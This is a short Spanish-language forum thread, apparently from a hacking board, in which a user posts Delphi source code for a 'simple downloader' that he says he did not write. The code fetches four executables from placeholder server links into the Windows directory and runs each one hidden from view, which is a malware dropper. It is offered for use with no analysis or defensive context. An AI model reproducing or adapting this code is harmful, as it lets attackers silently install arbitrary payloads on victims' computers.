[Delphi] Simple Downloader

Topic created · 3 Mensajes · 564 Visitas
  • estaría bien comentar algo al menos, qué hace, cuál es el objetivo del programa... no sé, algo xD

  • El codigo no es mio , y por lo que he visto no hay comentarios que faciliten la lectura del programa.

    program DOWLOADER;
    uses
      UrlMon, windows, Shellapi, SysUtils, TLHelp32;
    {$E exe}
    {$R *.res}
    const down1 = 'LINK SERVER';
    const procede1 = 'SERVER1.exe';
    const down2 = 'LINK SERVER';
    const procede2 = 'SERVER2.exe';
    const down3 = 'LINK SERVER';
    const procede3 = 'SERVER3.exe';
    const down4 = 'LINK SERVER';
    const procede4 = 'SERVER4.exe';
    function DF(S, D: string): Boolean; begin try Result :=  UrlDownloadToFile(nil, PChar(s), PChar(D), 0, nil) = 0; except Result := False; end; end;
    function W : String; Var Buffer : Array[0..144] of Char; Begin GetWindowsDirectory(Buffer,144); Result := StrPas(Buffer); End;
    procedure f(N, P: String); Var Co: Array[0..1024] of Char; Pa: Array[0..1024] of Char; begin StrPCopy (Co, N); StrPCopy (Pa, P); ShellExecute (0, Nil, Co, Pa, Nil, SW_HIDE); end;
    {$I+}
    begin
    if DF(down1,w+'\'+procede1) then
      begin
        f(w+'\'+procede1, '');
      end;
         if DF(down2,w+'\'+procede2) then
      begin
        f(w+'\'+procede2, '');
      end;
         if DF(down3,w+'\'+procede3) then
      begin
        f(w+'\'+procede3, '');
      end;
         if DF(down4,w+'\'+procede4) then
      begin
        f(w+'\'+procede4, '');
      end;
    
    end.
  • @Salvatore said:

    estaría bien comentar algo al menos, qué hace, cuál es el objetivo del programa... no sé, algo xD

    Como dice el titulo , es un Downloader(Descargador o como querais llamarlo) programado en Delphi.